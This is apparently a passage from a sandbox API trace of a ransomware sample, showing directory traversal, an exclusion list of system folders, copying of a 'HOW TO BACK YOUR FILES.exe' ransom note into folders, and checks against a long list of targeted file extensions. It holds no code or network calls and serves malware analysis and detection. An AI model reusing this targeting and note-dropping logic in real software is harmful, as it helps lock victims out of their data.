	[0087.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.881] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.882] CloseHandle (hObject=0x15c) returned 1
	[0087.882] CloseHandle (hObject=0x9c) returned 1
	[0087.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0087.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.884] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x660f4ac0, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x3032a2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3032a2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WYOVGq", cAlternateFileName="")) returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="Apollon865.txt.exe") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2=".") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="..") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="windows") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="bootmgr") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="temp") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="pagefile.sys") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="boot") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="ids.txt") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="ntuser.dat") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="perflogs") returned 1
	[0087.884] lstrcmpiW (lpString1="WYOVGq", lpString2="MSBuild") returned 1
	[0087.884] lstrlenW (lpString="WYOVGq") returned 6
	[0087.884] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\RsYZLr9JFlIoDGbuOa6.m4a") returned 69
	[0087.884] lstrcpyW (in: lpString1=0x119e664, lpString2="WYOVGq" | out: lpString1="WYOVGq") returned="WYOVGq"
	[0087.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0087.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a8a8
	[0087.884] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a70 | out: ListHead=0x5b75f0, ListEntry=0x5b7a70) returned 0x5b7990
	[0087.884] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x660f4ac0, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x3032a2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3032a2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WYOVGq", cAlternateFileName="")) returned 0
	[0087.884] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0087.884] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a70
	[0087.884] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq"
	[0087.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0087.885] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq") returned 52
	[0087.885] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq"
	[0087.885] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.885] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.886] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.886] GetLastError () returned 0x0
	[0087.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.886] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.886] CloseHandle (hObject=0x10c) returned 1
	[0087.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.886] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.886] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x660f4ac0, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x3032a2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3032a2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.887] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.887] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.887] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.887] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x660f4ac0, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x3032a2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3032a2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.887] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.887] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.887] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.887] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.887] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce23ab80, ftCreationTime.dwHighDateTime=0x1d4cd57, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fWMdzf4", cAlternateFileName="")) returned 1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="Apollon865.txt.exe") returned 1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2=".") returned 1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="..") returned 1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="windows") returned -1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="bootmgr") returned 1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="temp") returned -1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="pagefile.sys") returned -1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="boot") returned 1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="ids.txt") returned -1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="ntuser.dat") returned -1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="perflogs") returned -1
	[0087.887] lstrcmpiW (lpString1="fWMdzf4", lpString2="MSBuild") returned -1
	[0087.887] lstrlenW (lpString="fWMdzf4") returned 7
	[0087.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\*") returned 54
	[0087.887] lstrcpyW (in: lpString1=0x119e672, lpString2="fWMdzf4" | out: lpString1="fWMdzf4") returned="fWMdzf4"
	[0087.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0087.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf700
	[0087.887] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a70 | out: ListHead=0x5b75f0, ListEntry=0x5b7a70) returned 0x5b7990
	[0087.887] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3032a2b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3032a2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0087.888] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0087.888] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b11bbc0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lqRmsUEhIDzR1", cAlternateFileName="LQRMSU~1")) returned 1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="Apollon865.txt.exe") returned 1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2=".") returned 1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="..") returned 1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="windows") returned -1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="bootmgr") returned 1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="temp") returned -1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="pagefile.sys") returned -1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="boot") returned 1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="ids.txt") returned 1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="ntuser.dat") returned -1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="perflogs") returned -1
	[0087.888] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="MSBuild") returned -1
	[0087.888] lstrlenW (lpString="lqRmsUEhIDzR1") returned 13
	[0087.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4") returned 60
	[0087.888] lstrcpyW (in: lpString1=0x119e672, lpString2="lqRmsUEhIDzR1" | out: lpString1="lqRmsUEhIDzR1") returned="lqRmsUEhIDzR1"
	[0087.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0087.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8fb8
	[0087.888] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0087.888] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb70e2610, ftCreationTime.dwHighDateTime=0x1d4c8c4, ftLastAccessTime.dwLowDateTime=0x417149a0, ftLastAccessTime.dwHighDateTime=0x1d4d1bb, ftLastWriteTime.dwLowDateTime=0x417149a0, ftLastWriteTime.dwHighDateTime=0x1d4d1bb, nFileSizeHigh=0x0, nFileSizeLow=0x2ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TxrcwiX7Ys.mp3", cAlternateFileName="TXRCWI~1.MP3")) returned 1
	[0087.888] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.888] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0087.888] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2=".") returned 1
	[0087.888] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="..") returned 1
	[0087.888] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="windows") returned -1
	[0087.888] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="bootmgr") returned 1
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="temp") returned 1
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="pagefile.sys") returned 1
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="boot") returned 1
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="ids.txt") returned 1
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="ntuser.dat") returned 1
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="perflogs") returned 1
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="MSBuild") returned 1
	[0087.889] lstrlenW (lpString="TxrcwiX7Ys.mp3") returned 14
	[0087.889] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1") returned 66
	[0087.889] lstrcpyW (in: lpString1=0x119e672, lpString2="TxrcwiX7Ys.mp3" | out: lpString1="TxrcwiX7Ys.mp3") returned="TxrcwiX7Ys.mp3"
	[0087.889] lstrlenW (lpString="TxrcwiX7Ys.mp3") returned 14
	[0087.889] lstrlenW (lpString="Apollon865") returned 10
	[0087.889] lstrcmpiW (lpString1="wiX7Ys.mp3", lpString2="Apollon865") returned 1
	[0087.889] lstrlenW (lpString=".dll") returned 4
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2=".dll") returned 1
	[0087.889] lstrlenW (lpString=".lnk") returned 4
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2=".lnk") returned 1
	[0087.889] lstrlenW (lpString=".ini") returned 4
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2=".ini") returned 1
	[0087.889] lstrlenW (lpString=".sys") returned 4
	[0087.889] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2=".sys") returned 1
	[0087.889] lstrlenW (lpString="TxrcwiX7Ys.mp3") returned 14
	[0087.889] lstrlenW (lpString="bak") returned 3
	[0087.889] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0087.889] lstrlenW (lpString="ba_") returned 3
	[0087.889] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0087.889] lstrlenW (lpString="dbb") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0087.890] lstrlenW (lpString="vmdk") returned 4
	[0087.890] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0087.890] lstrlenW (lpString="rar") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0087.890] lstrlenW (lpString="zip") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0087.890] lstrlenW (lpString="tgz") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0087.890] lstrlenW (lpString="vbox") returned 4
	[0087.890] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0087.890] lstrlenW (lpString="vdi") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0087.890] lstrlenW (lpString="vhd") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0087.890] lstrlenW (lpString="vhdx") returned 4
	[0087.890] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0087.890] lstrlenW (lpString="avhd") returned 4
	[0087.890] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0087.890] lstrlenW (lpString="db") returned 2
	[0087.890] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0087.890] lstrlenW (lpString="db2") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0087.890] lstrlenW (lpString="db3") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0087.890] lstrlenW (lpString="dbf") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0087.890] lstrlenW (lpString="mdf") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0087.890] lstrlenW (lpString="mdb") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0087.890] lstrlenW (lpString="sql") returned 3
	[0087.890] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0087.890] lstrlenW (lpString="sqlite") returned 6
	[0087.891] lstrcmpiW (lpString1="Ys.mp3", lpString2="sqlite") returned 1
	[0087.891] lstrlenW (lpString="sqlite3") returned 7
	[0087.891] lstrcmpiW (lpString1="7Ys.mp3", lpString2="sqlite3") returned -1
	[0087.891] lstrlenW (lpString="sqlitedb") returned 8
	[0087.891] lstrcmpiW (lpString1="X7Ys.mp3", lpString2="sqlitedb") returned 1
	[0087.891] lstrlenW (lpString="xml") returned 3
	[0087.891] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0087.891] lstrlenW (lpString="$er") returned 3
	[0087.891] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0087.891] lstrlenW (lpString="4dd") returned 3
	[0087.891] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0087.891] lstrlenW (lpString="4dl") returned 3
	[0087.891] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0087.891] lstrlenW (lpString="^^^") returned 3
	[0087.891] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0087.891] lstrlenW (lpString="abs") returned 3
	[0087.891] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0087.891] lstrlenW (lpString="abx") returned 3
	[0087.891] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0087.891] lstrlenW (lpString="accdb") returned 5
	[0087.891] lstrcmpiW (lpString1="s.mp3", lpString2="accdb") returned 1
	[0087.891] lstrlenW (lpString="accdc") returned 5
	[0087.891] lstrcmpiW (lpString1="s.mp3", lpString2="accdc") returned 1
	[0087.891] lstrlenW (lpString="accde") returned 5
	[0087.891] lstrcmpiW (lpString1="s.mp3", lpString2="accde") returned 1
	[0087.891] lstrlenW (lpString="accdr") returned 5
	[0087.891] lstrcmpiW (lpString1="s.mp3", lpString2="accdr") returned 1
	[0087.891] lstrlenW (lpString="accdt") returned 5
	[0087.891] lstrcmpiW (lpString1="s.mp3", lpString2="accdt") returned 1
	[0087.891] lstrlenW (lpString="accdw") returned 5
	[0087.891] lstrcmpiW (lpString1="s.mp3", lpString2="accdw") returned 1
	[0087.891] lstrlenW (lpString="accft") returned 5
	[0087.892] lstrcmpiW (lpString1="s.mp3", lpString2="accft") returned 1
	[0087.892] lstrlenW (lpString="adb") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.892] lstrlenW (lpString="adb") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.892] lstrlenW (lpString="ade") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0087.892] lstrlenW (lpString="adf") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0087.892] lstrlenW (lpString="adn") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0087.892] lstrlenW (lpString="adp") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0087.892] lstrlenW (lpString="alf") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0087.892] lstrlenW (lpString="ask") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0087.892] lstrlenW (lpString="btr") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0087.892] lstrlenW (lpString="cat") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0087.892] lstrlenW (lpString="cdb") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0087.892] lstrlenW (lpString="ckp") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0087.892] lstrlenW (lpString="cma") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0087.892] lstrlenW (lpString="cpd") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0087.892] lstrlenW (lpString="dacpac") returned 6
	[0087.892] lstrcmpiW (lpString1="Ys.mp3", lpString2="dacpac") returned 1
	[0087.892] lstrlenW (lpString="dad") returned 3
	[0087.892] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0087.892] lstrlenW (lpString="dadiagrams") returned 10
	[0087.892] lstrcmpiW (lpString1="wiX7Ys.mp3", lpString2="dadiagrams") returned 1
	[0087.892] lstrlenW (lpString="daschema") returned 8
	[0087.893] lstrcmpiW (lpString1="X7Ys.mp3", lpString2="daschema") returned 1
	[0087.893] lstrlenW (lpString="db-journal") returned 10
	[0087.893] lstrcmpiW (lpString1="wiX7Ys.mp3", lpString2="db-journal") returned 1
	[0087.893] lstrlenW (lpString="db-shm") returned 6
	[0087.893] lstrcmpiW (lpString1="Ys.mp3", lpString2="db-shm") returned 1
	[0087.893] lstrlenW (lpString="db-wal") returned 6
	[0087.893] lstrcmpiW (lpString1="Ys.mp3", lpString2="db-wal") returned 1
	[0087.893] lstrlenW (lpString="dbc") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0087.893] lstrlenW (lpString="dbs") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0087.893] lstrlenW (lpString="dbt") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0087.893] lstrlenW (lpString="dbv") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0087.893] lstrlenW (lpString="dbx") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0087.893] lstrlenW (lpString="dcb") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0087.893] lstrlenW (lpString="dct") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0087.893] lstrlenW (lpString="dcx") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0087.893] lstrlenW (lpString="ddl") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0087.893] lstrlenW (lpString="dlis") returned 4
	[0087.893] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0087.893] lstrlenW (lpString="dp1") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0087.893] lstrlenW (lpString="dqy") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0087.893] lstrlenW (lpString="dsk") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0087.893] lstrlenW (lpString="dsn") returned 3
	[0087.893] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0087.894] lstrlenW (lpString="dtsx") returned 4
	[0087.894] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0087.894] lstrlenW (lpString="dxl") returned 3
	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0087.894] lstrlenW (lpString="eco") returned 3
	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0087.894] lstrlenW (lpString="ecx") returned 3
	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0087.894] lstrlenW (lpString="edb") returned 3
	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0087.894] lstrlenW (lpString="epim") returned 4
	[0087.894] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0087.894] lstrlenW (lpString="fcd") returned 3
	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0087.894] lstrlenW (lpString="fdb") returned 3
	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0087.894] lstrlenW (lpString="fic") returned 3
